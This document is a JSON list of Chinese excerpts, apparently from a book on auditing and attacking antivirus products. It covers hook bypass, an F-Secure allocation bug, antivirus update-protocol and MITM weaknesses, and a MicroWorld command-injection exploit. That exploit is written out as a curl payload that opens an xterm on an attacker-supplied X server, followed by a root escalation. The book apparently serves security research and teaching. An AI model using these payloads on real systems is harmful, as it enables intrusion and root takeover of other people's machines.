    {"text": "就像在 PsSetCreateProcessNotifyRoutine 案例中阐释的那样，恶意软件或其他任意一个内核层的程序可以移除回调，对注册表进行任意操作，完全不受反病毒软件内核防护驱动的影响（参见图9-3）。"},
    {"text": "图9-3 IRQL列表 1 1 Microsoft官方关于此部分的技术文档地址如下： http://download.microsoft.com/download/e/b/a/eba/050f-a3/d-436b-9281-92cdfeae4b45/IRQL_thread.doc 。"},
    {"text": "反病毒产品中的启发式引擎，通过评估由静态或动态分析可疑代码收集的相关信息和程序行为开展侦测。 静态启发式引擎通过静态反汇编或筛选分析文件头来侦测发现恶意软件。 反病毒软件使用的静态启发式引擎可能会用到类似贝叶斯神经网络、通用算法或专家系统这样的机器学习算法。 大多数时候，静态启发式引擎被认为是真正的启发式引擎，而动态分析引擎则又被称为主机入侵防御系统（HIPS）。 基于专家系统的启发式引擎会使用类似人类病毒分析者作出分析决定过程的算法。 动态启发式引擎通过hook API调用或在模拟的框架环境下执行程序，基于对文件或程序行为的分析进行相关侦测防护。 动态启发式引擎通过hook（用户态或内核态）实现相应功能。"},
    {"text": "比如，攻击者可以从硬盘中读取被hook函数的原生序言，然后执行这些字节码，接着继续执行序言字节码后的函数代码（没有被hook的相关代码部分）。"},
    {"text": "内核态hook依赖于监控进程创建和系统注册表操作的注册回调。 同时，内核态hook也会借助文件系统过滤驱动来进行实时文件行为分析。 和绕过用户态hook一样，运行在内核层的恶意代码同样也可以卸载内核层hook。"},
    {"text": "至此本书第二部分已经结束，下一部分将会讨论如何把握全局，编写本地或远程的测试攻击代码，并找到反病毒软件中的漏洞，然后利用它们攻击反病毒软件。"},
    {"text": "比如，本章将会向你介绍如何手动审计F-Secure Anti-Virus Linux版的旧版本，来挖掘出一些可以远程利用的漏洞，比如说，文件格式解析器中的漏洞。"},
    {"text": "如果Windows应用有程序数据库（program database，PDB）文件，或者相关Unix应用内置了DWARF调试信息，我们就可以从中获取调试符号信息，有了这些信息，就不需要分析所有的导出函数了。"},
    {"text": "如果没有足够的调试符号信息，尤其是在缺失标准库函数信息［那些在C runtime（CRT）库或LIBC中的函数，比如 malloc 、 strlen 、 memcpy 等］的情况下，我们可以使用IDA的Fast Library Identification and Recognition Technology（FLIRT）功能来找出相关函数名。"},
    {"text": "产品安装完成以后，F-Secure Anti-Virus Linux版会创建一个/opt/f-secure目录，下面还有一些子目录和文件。 $ ls -l /opt/f-secure/ total 12 drwxrwxr-x 5 root root 4096 abr 19 2014 fsaua drwxr-xr-x 3 root root 4096 abr 19 2014 fsav drwxrwxr-x 10 root root 4096 abr 19 2014 fssp 通过观察文件列表，我们大概可以推测出前缀 fs 代表F-Secure而前缀 av 是反病毒的意思。"},
    {"text": "$ ls -l /opt/f-secure/fsav/bin/ total 4 lrwxrwxrwx 1 root root 48 abr 19 2014 clstate_generator -> /opt/f-secure/fsav/../fssp/bin/clstate_generator lrwxrwxrwx 1 root root 45 abr 19 2014 clstate_update -> /opt/f-secure/fsav/../fssp/bin/clstate_update lrwxrwxrwx 1 root root 49 abr 19 2014 clstate_updated.rc -> /opt/f-secure/fsav/../fssp/bin/clstate_updated.rc lrwxrwxrwx 1 root root 39 abr 19 2014 dbupdate -> /opt/f-secure/fsav/../fssp/bin/dbupdate lrwxrwxrwx 1 root root 44 abr 19 2014 dbupdate_lite -> /opt/f-secure/fsav/../fssp/bin/dbupdate_lite lrwxrwxrwx 1 root root 35 abr 19 2014 fsav -> /opt/f-secure/fsav/../fssp/bin/fsav lrwxrwxrwx 1 root root 37 abr 19 2014 fsavd -> /opt/f-secure/fsav/../fssp/sbin/fsavd lrwxrwxrwx 1 root root 37 abr 19 2014 fsdiag -> /opt/f-secure/fsav/../fssp/bin/fsdiag lrwxrwxrwx 1 root root 42 abr 19 2014 licensetool -> /opt/f-secure/fsav/../fssp/bin/licensetool -rwxr--r-- 1 root root 291 abr 19 2014 uninstall-fsav 符号链接指向的是fssp目录，因此这里值得我们一探究竟： $ ls -l /opt/f-secure/fssp/ total 32 drwxrwxr-x 2 root root 4096 abr 19 2014 bin drwxrwxr-x 2 root root 4096 ene 30 2014 databases drwxrwxr-x 2 root root 4096 abr 19 2014 etc drwxrwxr-x 3 root root 4096 abr 19 2014 lib drwxrwxr-x 2 root root 4096 abr 19 2014 libexec drwxrwxr-x 2 root root 4096 abr 19 2014 man drwxrwxr-x 2 root root 4096 abr 19 2014 modules drwxrwxr-x 2 root root 4096 abr 19 2014 sbin 太棒了！"},
    {"text": "$ ls -l /opt/f-secure/fssp/lib total 3112 -rw-r--r-- 1 root root 2475 nov 19 2013 fsavdsimple.pm -rwxr-xr-x 1 root root 252111 nov 19 2013 fsavdsimple.so -rw-r--r-- 1 root root 32494 ene 30 2014 fssp-common -rwxr-xr-x 1 root root 244324 ene 30 2014 libdaas2.so -rwxr-xr-x 1 root root 123748 ene 30 2014 libdaas2tool.so -rwxr-xr-x 1 root root 1606472 ene 30 2014 libfm.so lrwxrwxrwx 1 root root 17 abr 19 2014 libfsavd.so -> libfsavd.so.7.0.0 lrwxrwxrwx 1 root root 17 abr 19 2014 libfsavd.so.4 -> libfsavd.so.4.0.0 -rwxr-xr-x 1 root root 66680 ene 30 2014 libfsavd.so.4.0.0 lrwxrwxrwx 1 root root 17 abr 19 2014 libfsavd.so.5 -> libfsavd.so.5.0.0 -rwxr-xr-x 1 root root 70744 ene 30 2014 libfsavd.so.5.0.0 lrwxrwxrwx 1 root root 17 abr 19 2014 libfsavd.so.6 -> libfsavd.so.6.0.0 -rwxr-xr-x 1 root root 74872 ene 30 2014 libfsavd.so.6.0.0 lrwxrwxrwx 1 root root 17 abr 19 2014 libfsavd.so.7 -> libfsavd.so.7.0.0 -rw-r--r-- 1 root root 79040 nov 19 2013 libfsavd.so.7.0.0 lrwxrwxrwx 1 root root 13 abr 19 2014 libfsclm.so -> libfsclm.so.2 lrwxrwxrwx 1 root root 18 abr 19 2014 libfsclm.so.2 -> libfsclm.so.2.2312 -rwxr-xr-x 1 root root 309724 may 21 2013 libfsclm.so.2.2312 lrwxrwxrwx 1 root root 20 abr 19 2014 libfsmgmt.2.so -> libmgmtfile.2.0.0.so lrwxrwxrwx 1 root root 17 abr 19 2014 libfssysutil.so -> libfssysutil.so.0 -rwxr-xr-x 1 root root 27272 ene 30 2014 libfssysutil.so.0 -rwxr-xr-x 1 root root 44532 ene 30 2014 libkeycheck.so -rwxr-xr-x 1 root root 56488 sep 5 2013 libmgmtfile.2.0.0.so lrwxrwxrwx 1 root root 20 abr 19 2014 libmgmtfile.2.so -> libmgmtfile.2.0.0.so -rwxr-xr-x 1 root root 56488 sep 5 2013 libmgmtfsma.2.0.0.so -rw-rw-r-- 1 root root 2386 ene 23 2014 libosid -rw-r--r-- 1 root root 96312 nov 26 2013 libsubstatus.1.1.0.so lrwxrwxrwx 1 root root 21 abr 19 2014 libsubstatus.1.so -> libsubstatus.1.1.0.so lrwxrwxrwx 1 root root 21 abr 19 2014 libsubstatus.so -> libsubstatus.1.1.0.so -rw-rw-r-- 1 root root 2696 ene 23 2014 safe_rm drwxrwxr-x 2 root root 4096 abr 19 2014 x86_64 我们会发现许多库文件，但是其中有一个特别引人注意，因为相比其他库文件来说它要大得多：libfm.so。"},
    {"text": "使用指令 nm -B 查看是否有调试符号： $ LANG=C nm -B /opt/f-secure/fssp/lib/libfm.so nm: /opt/f-secure/fssp/lib/libfm.so: no symbols 结果显示似乎没有调试符号。"},
    {"text": "这一次我们使用指令 readelf -Ws ： $ LANG=C readelf -Ws libfm.so | more Symbol table '.dynsym' contains 3820 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00042354 0 SECTION LOCAL DEFAULT 8 2: 0004a0ac 0 SECTION LOCAL DEFAULT 10 3: 001331f0 0 SECTION LOCAL DEFAULT 11 4: 00133220 0 SECTION LOCAL DEFAULT 12 5: 00139820 0 SECTION LOCAL DEFAULT 13 6: 00139828 0 SECTION LOCAL DEFAULT 14 7: 00161aa4 0 SECTION LOCAL DEFAULT 15 8: 00169098 0 SECTION LOCAL DEFAULT 16 9: 001690a0 0 SECTION LOCAL DEFAULT 17 10: 001690a8 0 SECTION LOCAL DEFAULT 18 11: 001690c0 0 SECTION LOCAL DEFAULT 19 12: 0016c280 0 SECTION LOCAL DEFAULT 23 13: 00187120 0 SECTION LOCAL DEFAULT 24 14: 000d29dc 364 FUNC GLOBAL DEFAULT 10 _ZN21CMfcMultipartBodyPartD2Ev 15: 0006e034 415 FUNC GLOBAL DEFAULT 10 _Z20LZ_CloseArchivedFileP11LZFileDataIP14LZArchiveEntry 16: 000bd8b0 92 FUNC GLOBAL DEFAULT 10 _ZNK16CMfcBasicMessage7SubtypeEv 17: 00000000 130 FUNC GLOBAL DEFAULT UND __cxa_guard_acquire@CXXABI_1.3 (2) 18: 00000000 136 FUNC GLOBAL DEFAULT UND __cxa_end_catch@CXXABI_1.3 (2) 19: 0006f21c 647 FUNC GLOBAL DEFAULT 10 _Z13GZIPListFilesP11LZFileDataIP7GZ_DATA 20: 000e42c6 399 FUNC GLOBAL DEFAULT 10 _ZNK12CMfcDateTime6_ParseEb 21: 000e0ce8 80 FUNC GLOBAL DEFAULT 10 _ZN10FMapiTableD2Ev 22: 000a8a6c 163 FUNC GLOBAL DEFAULT 10 _ZN13SISUnArchiver12uninitializeEv (...) 哇！"},
    {"text": "首先，让我们筛选一下结果，确认该库是否就是用于解析文件格式、解包压缩文件或用于进行相关任务的那个： $ LANG=C readelf -Ws libfm.so | egrep -i \"(packer|compress|gzip|bz2)\" | more 19: 0006f21c 647 FUNC GLOBAL DEFAULT 10 _Z13GZIPListFilesP11LZFileDataIP7GZ_DATA 41: 000af770 47 FUNC GLOBAL DEFAULT 10 _ZN17LzmaPackerDecoderD1Ev 47: 000ae0c8 7 FUNC WEAK DEFAULT 10 _ZN20HydraUnpackerContext13confirmActionEjPc 55: 000a2ae8 169 FUNC GLOBAL DEFAULT 10 _ZN29FmPackerManagerImplementation18packerFindNextFileEiP17FMF INDDATA_struct 59: 000b1b04 7 FUNC WEAK DEFAULT 10 _ZN19FmUnpackerInstaller28packerQueryArchiveMagicBytesERSt6vectorI 13ArchMagicByteSaIS1_EEm 75: 000adff4 11 FUNC WEAK DEFAULT 10 _ZNK20HydraUnpackerContext12FmFileReader13getFileStatusEv 78: 000a5724 54 FUNC GLOBAL DEFAULT 10 _ZN14FmUnpackerCPIOD0Ev 83: 00134878 15 OBJECT WEAK DEFAULT 12 _ZTS12FmUnpacker7z 84: 000a15d8 54 FUNC GLOBAL DEFAULT 10 packerGetFileStat 94: 000adba4 7 FUNC GLOBAL DEFAULT 10 _ZN14FmUnpackerSisX15packerWriteFileEPvS0_lPKvmPm 122: 000a1948 7 FUNC GLOBAL DEFAULT 10 (...) 没错！"},
    {"text": "图12-1 在IDA Pro中打开库文件libfm.so的效果 正如我们看到的那样，IDA窗口左侧罗列了许多有用的函数名称，但是下一步应该怎么做呢？"},
    {"text": "一个是 thunk 函数，另一个是实际执行的函数。 实际执行的函数被 thunk 函数和全局对象表（global object table，GOT）调用，而 thunk 函数会被程序剩余部分调用。"},
    {"text": "该函数用于获取一指向LIBC的函数 malloc 的指针： .text:0004D76C ; _DWORD __cdecl FMAlloc(size_t n) .text:0004D76C public _Z7FMAllocj .text:0004D76C _Z7FMAllocjproc near ; CODE XREF: FMAlloc(uint)j .text:0004D76C n = dword ptr 8 .text:0004D76C .text:0004D76C push ebp .text:0004D76D mov ebp, esp .text:0004D76F push edi .text:0004D770 push esi .text:0004D771 push ebx .text:0004D772 sub esp, 0Ch .text:0004D775 call $+5 .text:0004D77A pop ebx .text:0004D77B add ebx, 11CBAEh .text:0004D781 mov eax, ds:(g_fileio_ptr - 16A328h)[ebx] ; My guess is that it's returning a pointer to \"malloc\". .text:0004D787 mov eax, [eax+24h] ; Is the pointer to malloc NULL? .text:0004D78A test eax, eax .text:0004D78C mov edi, [ebp+n] .text:0004D78F jz short loc_4D7B0 如果函数指针在 0x4d787 返回值不为 NULL ，将会继续执行下一个指令；"},
    {"text": "如果我们跟进这一处跳转，会发现下列代码： .text:0004D7B0 loc_4D7B0: ; CODE XREF: FMAlloc(uint)+23j .text:0004D7B0 sub esp, 0Ch .text:0004D7B3 push edi ; size .text:0004D7B4 call _malloc .text:0004D7B9 add esp, 0Ch .text:0004D7BC push edi ; n .text:0004D7BD push 0 ; c .text:0004D7BF push eax ; s .text:0004D7C0 mov esi, eax .text:0004D7C2 call _memset .text:0004D7C7 lea esp, [ebp-0Ch] .text:0004D7CA pop ebx .text:0004D7CB mov eax, esi .text:0004D7CD pop esi .text:0004D7CE pop edi .text:0004D7CF leave .text:0004D7D0 retn .text:0004D7D0 _Z7FMAllocj endp 在 0x4D7B3 处，这部分代码会按照函数接受的参数大小分配内存（具体大小存储在EDI注册器中）。"},
    {"text": "我们可以传递 -1 给 malloc ，在32位应用中可以转化为 0xFFFFFFFF ，64位应用中转化为 0xFFFFFFFFFFFFFFFF ，这样在32位系统中就会分配4 GB内存，在64位系统平台中会分配16 EiB。"},
    {"text": "这样，整个函数调用过程相当于执行了 memset(nullptr, 0x00, size_t(-1)) ，这样就会导致一个访问冲突异常（access violation exception）或段错误（segmentation fault）。"},
    {"text": "当相关模块读取解析某些格式的文件时，会将读取文件的相关大小区块作为传入值，然后不经校验传递给 FMAlloc 函数。 一般来说，从某格式文件中读取并用于通过 FMAlloc 函数分配内存的大小区块常常可能会出问题。"},
    {"text": "经过这样的函数调用步骤后，我们会得到以下代码： .text:F72E5743 jz short loc_F72E57B1 .text:F72E5745 sub esp, 0Ch .text:F72E5748 push [ebp+n] ; n .text:F72E574E call __Z7FMAllocj ; FMAlloc(uint) .text:F72E5753 add esp, 10h .text:F72E5756 test eax, eax .text:F72E5758 mov [ebp+s], eax .text:F72E575E jz short loc_F72E57B1 .text:F72E5760 push ecx .text:F72E5761 push [ebp+n] ; n .text:F72E5767 push 0 ; c .text:F72E5769 push eax ; s .text:F72E576A call _memset .text:F72E576F add esp, 10h 上述代码调用了 FMAlloc ，并向其传递参数 n 。"},
    {"text": "我们会发现参数 n 的值是直接从文件缓冲区读取的，所以我们只要设置传入文件中对应区块的32位无符号值为 0xFFFFFFFF （ -1 ），就可以触发刚刚提到的F-Secure的漏洞。"},
    {"text": "安装完成以后，一些列目录、程序等文件被释放到了/opt/MicroWorld目录下，如下图所示： $ ls /opt/MicroWorld/ bin etc lib sbin usr var 本地应用查找SUID/SGID文件的过程中很容易发生问题（详情请参见第10章）。"},
    {"text": "在Linux和Unix系统平台上查找SUID文件，需要使用以下指令： $ find . -perm +4000 /opt/MicroWorld/sbin/runasroot 上述指令执行结果显示， runasroot 是SUID程序。"},
    {"text": "这就意味着，如果我们恰巧在该PHP Web应用中发现了一个远程代码执行漏洞，就可以使用root权限执行任意命令，因为 mwconf 用户有权限执行SUID应用 runasroot 。"},
    {"text": "让我们首先查看安装在/opt/MicroWorld/var/www/htdocs/index.php目录下的PHP应用程序： $ find /opt -name \"**.php\" /opt/MicroWorld/var/www/htdocs/index.php /opt/MicroWorld/var/www/htdocs/preference.php /opt/MicroWorld/var/www/htdocs/online.php /opt/MicroWorld/var/www/htdocs/createadmin.php /opt/MicroWorld/var/www/htdocs/leftmenu.php /opt/MicroWorld/var/www/htdocs/help_contact.php /opt/MicroWorld/var/www/htdocs/forgotpassword.php /opt/MicroWorld/var/www/htdocs/logout.php /opt/MicroWorld/var/www/htdocs/mwav/index.php /opt/MicroWorld/var/www/htdocs/mwav/crontab.php /opt/MicroWorld/var/www/htdocs/mwav/action.php /opt/MicroWorld/var/www/htdocs/mwav/selections.php /opt/MicroWorld/var/www/htdocs/mwav/savevals.php /opt/MicroWorld/var/www/htdocs/mwav/status_Updatelog.php /opt/MicroWorld/var/www/htdocs/mwav/header.php /opt/MicroWorld/var/www/htdocs/mwav/readvals.php /opt/MicroWorld/var/www/htdocs/mwav/manage_admins.php /opt/MicroWorld/var/www/htdocs/mwav/logout.php /opt/MicroWorld/var/www/htdocs/mwav/AV_vdefupdates.php /opt/MicroWorld/var/www/htdocs/mwav/login.php /opt/MicroWorld/var/www/htdocs/mwav/main.php /opt/MicroWorld/var/www/htdocs/mwav/crontab_mwav.php /opt/MicroWorld/var/www/htdocs/mwav/main_functions.php /opt/MicroWorld/var/www/htdocs/mwav/update.php /opt/MicroWorld/var/www/htdocs/mwav/status_AVfilterlog.php /opt/MicroWorld/var/www/htdocs/mwav/topbar.php /opt/MicroWorld/var/www/htdocs/common_functions.php /opt/MicroWorld/var/www/htdocs/login.php (...) 需要注意的是这里有大量的PHP文件。"},
    {"text": "(...) <form method=\"post\" action=\"login.php\"> <table class=\"tabledata\" width=\"400\" align=\"center\" cellspacing=\"5\"> (...) 让我们打开login.php，研究一下其中的身份验证逻辑是怎样的。"},
    {"text": "login.php会首先校验使用的 CGI REQUEST_METHOD 是否不是 GET 方法（即与 POST 方法相对的另一种请求方法）： (...) <?php include(\"common_functions.php\"); // code for detection of javascript and cookie support in client browser if(strpos($_SERVER[\"REQUEST_METHOD\"],\"GET\") !== false ) { header(\"Location: index.php\"); exit(); } (...) 接着，程序会校验进行的操作是否和预期行为一致。"},
    {"text": "这里值得一提的是 $runasroot 的调用方式： (...) $passwdFile=\"/opt/MicroWorld/etc/passwd\"; $product=trim($_POST['product_name']); $username=trim($_POST['uname']); $passwd = trim($_POST[\"pass\"]); $language = $_POST[\"language\"]; $conffile = \"/opt/MicroWorld/etc/auth.conf\"; $auth_conf = false; if(file_exists($conffile)) { Upgrade_Old_Auth_Conf($conffile); $auth_conf = MW_readConf($conffile, \"#\", '', '\"'); } else { $auth_conf = array(); $auth_conf['auth']['type'] = 0; exec(\"$runasroot /bin/touch $conffile\"); exec(\"$runasroot /bin/chown mwconf:mwconf $conffile\"); MW_writeConf($auth_conf,$conffile,\"\",'\"'); } (...) PHP脚本从请求中读取相关参数值（ uname 代表用户名， pass 代表密码），更有意思的是，还有一些变量调用了 exec($runasroot) 。"},
    {"text": "如果我们继续分析该PHP文件，就会发现一处可疑的PHP代码： (...) $retval = check_user($username, \"NULL\", $passwdFile, \"NULL\"); list($k,$v)=explode(\"-\",$retval); if($v != 0 ) { header(\"Location: index.php?err_msg=usernotexists\"); exit(); } elseif( strlen($passwd)<5 ) { header(\"Location: index.php?err_msg=password_len\"); exit(); } elseif( preg_match(\"/[|&)(!><\\'\\\"` ]/\", $passwd) ) { header(\"Location: index.php?err_msg=password_chars\"); exit(); } else { $retval=check_user($username,$passwd,$passwdFile,\"USERS\"); list($k,$v)=explode(\"-\",$retval); if($v == 0) { $retval=check_user($username,$passwd,$passwdFile,$product); list($k,$v)=explode(\"-\",$retval); if($v == 0) (...) 注意到调用 preg_match 的地方了吗？"},
    {"text": "如果我们全局搜索 check_user ，会发现它是在common_functions.php中被定义执行的。 如果我们打开common_functions.php，然后转至实现 check_user 函数的几行，会发现如下结果： (...) function check_user($uname, $password, $passfile, $product) { // 二进制文件的名称和路径 $prog = \"/opt/MicroWorld/sbin/checkpass\"; $runasroot = \"/opt/MicroWorld/sbin/runasroot\"; unset($output); unset($ret); // passwd文件的名称和路径 $out= exec(\"$runasroot $prog $uname $password $passfile $product\",$output,$ret); $val = $output[0].\"-\".$ret; return $val; }(...) 太棒了！"},
    {"text": "然而，由于在命令中分号字符（ ; ）作为分隔符使用，接下来的命令不属于SUID二进制文件 runasroot ，而属于shell本身，命令会以Web应用用户 mwconf 身份执行。"},
    {"text": "下面是漏洞利用的具体方式： $ curl -data \\ \"product=1&uname=valid@user.com&pass=;DISPLAY=YOURIP:0;xterm;\" \\ http://target:10080/login.php 当我们运行上述指令后，存在漏洞的机器会尝试链接到攻击者的搭建的X11服务器上。"},
    {"text": "接着，我们就可以通过 xterm 执行以下指令，获取root权限： $ /opt/MicroWorld/sbin/runasroot bash 这样就大功告成了，现在我们获取了存在漏洞的机器的root权限。"},
    {"text": "因为可能在一次升级后，反病毒软件的整个特征库和插件文件都有了变动，所以反病毒软件的升级规则并不固定。 升级文件的大小和组成部分很大程度上取决于反病毒软件使用的插件和特征码格式。 如果反病毒厂商使用了装载插件和特征码的容器，那每次反病毒软件升级的时候整个容器都需要进行更新。"},
    {"text": "本章将讨论反病毒厂商使用的各种更新协议及其存在的缺陷，接着详解反病毒软件的更新协议，最后将对当前所使用HTTPS检查方式解决一个问题但带来一系列其他问题的原因进行剖析。 5.1 理解更新协议 每家反病毒厂商，甚至是每一款反病毒产品，都有着不同的更新协议、策略、特征码和插件分发计划等；"},
    {"text": "如果从网上下载的更新指引文件比最后一次更新日期更晚，反病毒软件更新程序会通过URL（如 http://av.com/catalog.ini ）下载一个内有所有可供下载的更新文件的目录文件。"},
    {"text": "(3) 无论是XML格式还是简单老旧的INI文件格式，下载的目录文件会针对产品、兼容的平台和操作系统（比如，Windows 7 x86_64或Solaris 10 SPARC）分成不同的部分。"},
    {"text": "(4) 如果在线更新列表的文件MD5值和客户端文件的MD5值不同，那么这些更新文件就会被下载到电脑中。 (5) 反病毒软件更新程序会校验下载文件的MD5，以确保在传输过程中没有发生错误。 (6) 如果下载的文件通过校验，就会停止待更新服务，备份旧文件至相关目录，并将新的文件复制至对应目录，然后重启相关服务。"},
    {"text": "5.1.1 支持SSL/TLS 安全套接字层（Secure Sockets Layer，SSL）和传输层安全性协议（Transport Layer Security，TLS）是用于在因特网或局域网内构建安全传输通道的加密协议。"},
    {"text": "反病毒软件中最常用的传输协议是之前提到的超文本传输协议（Hypertext Transfer Protocol，HTTP），而不是基于SSL/TLS实现的超文本安全传输协议（Hypertext Transfer Protocol Secure，HTTPS）。"},
    {"text": "如果攻击者在局域网内发起中间人劫持攻击（man-in-the-middle，MITM），在更新过程中就可以修改正常更新文件以及更新目录中的对应散列校验值，并将恶意文件或植入了木马病毒的反病毒产品推送给客户端。"},
    {"text": "简单 编写基于HTTP的更新协议比 正确 使用HTTPS协议编写来得简单。 性能 由于不需要考虑SSL或TLS层的负载，通过HTTP协议下载更新文件会比使用HTTPS协议快得多。"},
    {"text": "包括一些软件开发者和设计者在内的许多人都认为，他们只需让协议支持SSL/TLS就可以了，不用去考虑安全的操作方式，从而往往在不经意间使用存在缺陷的传输协议。"},
    {"text": "使用自签名的证书 一些厂商可能会使用自签名的数字证书验证其更新服务器，而不是经过认证机构签名的数字证书，这也就意味着其数字证书并没有被添加到客户端数字证书信任列表中。 在这种情况下（和之前认证服务器身份代码逻辑缺失的案例类似），客户端将会接受任意同厂商自签名数字证书类似的证书。"},
    {"text": "5.1.2 验证更新文件 大多数反病毒产品可能会栽跟头的地方是对已下载的更新文件进行校验。 可以将验证流程简化为： (1) 通过传输协议（可能是HTTP协议）下载包含待下载更新文件列表及其对应散列值的目录文件；"},
    {"text": "在极少数情况下，就像之前Joxean Koret在Dr.Web反病毒产品中发现的一个古老而严重的漏洞一样（参见第15章），程序也会使用CRC32校验代替使用加密散列校验。"},
    {"text": "这种方法也存在缺点：如果目录文件中包含的散列值已经被攻击者修改过了呢？ 攻击者有能力修改目录文件中存储的散列值，也有能力修改传输的文件。"},
    {"text": "例如，Microsoft对每个通过Windows Update（Microsoft Windows Security Essentials的更新协议）下载的.CAB文件（档案文件格式）添加了数字签名，同时，也要求运行在x64平台上的驱动文件（.SYS）在被加载前经过数字签名校验。"},
    {"text": "为了开展相关研究，我们需要一些标准Unix工具（如 grep ）、Wireshark（Unix和Windows平台上的网络协议分析嗅探软件）、浏览器以及Comodo antivirus，你可以从下面这个地址下载Comodo antivirus： https://www.comodo.com/home/internet-security/antivirus-for-linux.php 。"},
    {"text": "如果你运行Linux版本的Comodo GUI工具（使用命令 /opt/COMODO/cav ），将会看到类似图5-1中的提示框。 图5-1 Comodo Linux版本的主要GUI界面 在主窗口中，你将会看到反病毒特征库最近一次更新的时间，以及截至目前侦测到的恶意软件等信息。"},
    {"text": "当你点击Antivirus按钮时，将会出现更新病毒数据库的选项，如图5-2所示。 图5-2 Comodo Linux版本的GUI界面上提供了“更新病毒数据库”选项 我们先来研究一下“更新病毒数据库”选项背后的更新协议。"},
    {"text": "如果你把文件下载下来并打开，将会看到如下内容： $ GET http://download.comodo.com/av/updates58/versioninfo.ini [VersionInfo] MaxAvailVersion=20805 MaxDiff=150 MaxBase=20663 MaxDiffLimit=150 这是一个只有一个部分、包含版本信息以及四块区域的INI格式的文件。"},
    {"text": "$ grep 20805 -r /opt/COMODO/ /opt/COMODO/etc/COMODO.xml: <BaseVer>0x00005145 (20805) </BaseVer> 使用上面的命令，我们可以在COMODO.xml文件中找到 MaxAvailVersion 的数值。"},
    {"text": "如果versioninfo.ini中的值比COMODO.xml中的值大，反病毒程序就会下载相关更新。 接着上面的操作，更改COMODO.xml中 BaseVer 的值为20804，让更新程序下载最新的更新（在这个例子中，你需要等待新的特征库下载完成）。"},
    {"text": "如果 MaxAvailVersion 在versioninfo.ini中的值比在COMODO.xml中高，程序就会请求如下URL：>.cav\">http://cdn.download.comodo.com/av/updates58/sigs/updates/BASE_UPD_END_USER_v<>.cav。"},
    {"text": "使用浏览器或其他工具下载并打开cav文件，你会看到一个以 CAV3 开头的二进制数据： $ pyew http://cdn.download.comodo.com/av/updates58/sigs/updates/ BASE_UPD_END_USER_v20806.cav 000 43 41 56 33 46 51 00 00 52 9A E9 54 44 92 95 26 CAV3FQ..R..TD..& 010 43 42 01 00 05 00 00 00 01 00 00 00 00 00 00 00 CB.............. 020 01 00 00 00 42 00 22 00 00 43 42 02 00 05 00 00 ....B.\"..CB..... 030 00 01 00 00 00 00 00 00 00 01 00 00 00 42 00 22 .............B.\" 040 00 00 43 42 03 00 05 00 00 00 01 00 00 00 00 00 ..CB............ 050 00 00 01 00 00 00 42 00 22 00 00 43 42 04 00 0A ......B.\"..CB... 060 00 00 00 06 00 00 00 00 00 00 00 02 00 00 00 E2 ................ 070 00 6A 2C CC AC 00 22 00 00 43 42 05 00 05 00 00 .j,...\"..CB..... 080 00 01 00 00 00 00 00 00 00 01 00 00 00 42 00 22 .............B.\" 090 00 00 43 42 06 00 0D 00 00 00 09 00 00 00 00 00 ..CB............ 0A0 00 00 01 00 00 00 43 00 00 00 20 00 00 00 00 00 ......C... ..... 0B0 22 00 00 43 42 20 01 A8 1F 20 00 A8 1F 20 00 00 \"..CB ... ... .. 0C0 00 00 00 46 05 00 00 00 00 00 00 00 00 00 00 00 ...F............ 0D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 该二进制文件的内容看起来应该是Comodo antivirus的特征库。"},
    {"text": "下面让我们查看一下该特征库是否是最新版本： $ HEAD http://cdn.download.comodo.com/av/updates58/sigs/updates/ BASE_UPD_END_USER_v20813.cav 200 OK Connection: close Date: Fri, 23 Jan 2015 08:52:48 GMT (...) $ HEAD http://cdn.download.comodo.com/av/updates58/sigs/updates/ BASE_UPD_END_USER_v20814.cav 200 OK Connection: close Date: Fri, 23 Jan 2015 08:52:52 GMT (...) $ HEAD http://cdn.download.comodo.com/av/updates58/sigs/updates/ BASE_UPD_END_USER_v20815.cav 404 Not Found Connection: close Date: Fri, 23 Jan 2015 08:52:54 GMT (...) 看起来服务器上有更新的 BASE_UPD_END_USER 文件（版本号是20815），但是出于某些原因，程序只能更新到20806版本。"},
    {"text": "不一会儿，反病毒软件就会提示你有最新版本，并可以通过Wireshark的抓包记录来判断有无更新版本（如图5-5所示）。 图5-5 Wireshark追踪记录的程序检测最新Comodo产品文件网络的请求 Wireshark的记录显示，反病毒软件从以下地址下载了文件： http://cdn.download.comodo.com/cavmgl/download/updates/release/inis_1800/cavmgl_update_x64.xml 。"},
    {"text": "让我们选择libSCRIPT.so，然后在安装目录下校验一下它的SHA1散列值： $ sha1sum /opt/COMODO/repair/libSCRIPT.so bbd369a115adb6551286c7d63687541573592d3d repair/libSCRIPT.so SHA1散列值一致，可以推测出文件还无须更新。"},
    {"text": "让我们在libSCRIPT.so中加入一个字节： # cp libSCRIPT.so libSCRIPT.so-orig # echo A >> libSCRIPT.so # sha1sum libSCRIPT.so 15fc298d32f3f346dcad45edb20ad20e65031f0e libSCRIPT.so 现在再次点击Check for Updates，什么都没有发生。"},
    {"text": "如果你在COMODO的安装目录下搜索libSCRIPT.so，会发现以下结果： # find /opt/COMODO/ -name \"libSCRIPT.so\" /opt/COMODO/repair/libSCRIPT.so /opt/COMODO/repair/scanners/libSCRIPT.so /opt/COMODO/scanners/libSCRIPT.so 我们需要替换更多的libSCRIPT.so文件。"},
    {"text": "使用下面的命令替换目录下的所有libSCRIPT.so： # cp /opt/COMODO/repair/libSCRIPT.so /opt/COMODO/repair/scanners/ # cp /opt/COMODO/repair/libSCRIPT.so /opt/COMODO/scanners/ 现在回到Wireshark里面，创建一个新抓包窗口。"},
    {"text": "基于上面这些更新过程中的缺陷，如果你能在局域网内通过中间人劫持发起攻击，就可以更改更新内容，然后让反病毒软件安装任意程序（只要编写XML目录文件格式的漏洞利用程序）。"},
    {"text": "5.3 错误的保护 一些反病毒软件吹嘘自己可以检测使用SSL/TLS加密过的HTTPS协议。 言外之意就是，反病毒软件采用和病毒一样的方法来探测用户的网络请求，因为一般来讲，SSL/TLS加密过的网络流量是无法被检测的。"},
    {"text": "2015年4月，Hanno Böck发布了一篇关于分析反病毒软件检测TLS流量的博客文章（ https://blog.hboeck.de/archives/869-How-Kasperskymakes-you-vulnerable-to-the-FREAK-attack-and-other-ways-Antivirussoftware-lowers-your-HTTPS-security.html ）。"},
    {"text": "文章中提到，如果反病毒软件要检测TLS加密过的网络流量，就需要进行MITM攻击操作，针对指定域名（如*.google.com）安装证书颁发机构发布的可信证书，或者为用户访问的每个站点分配新的合法证书。"},
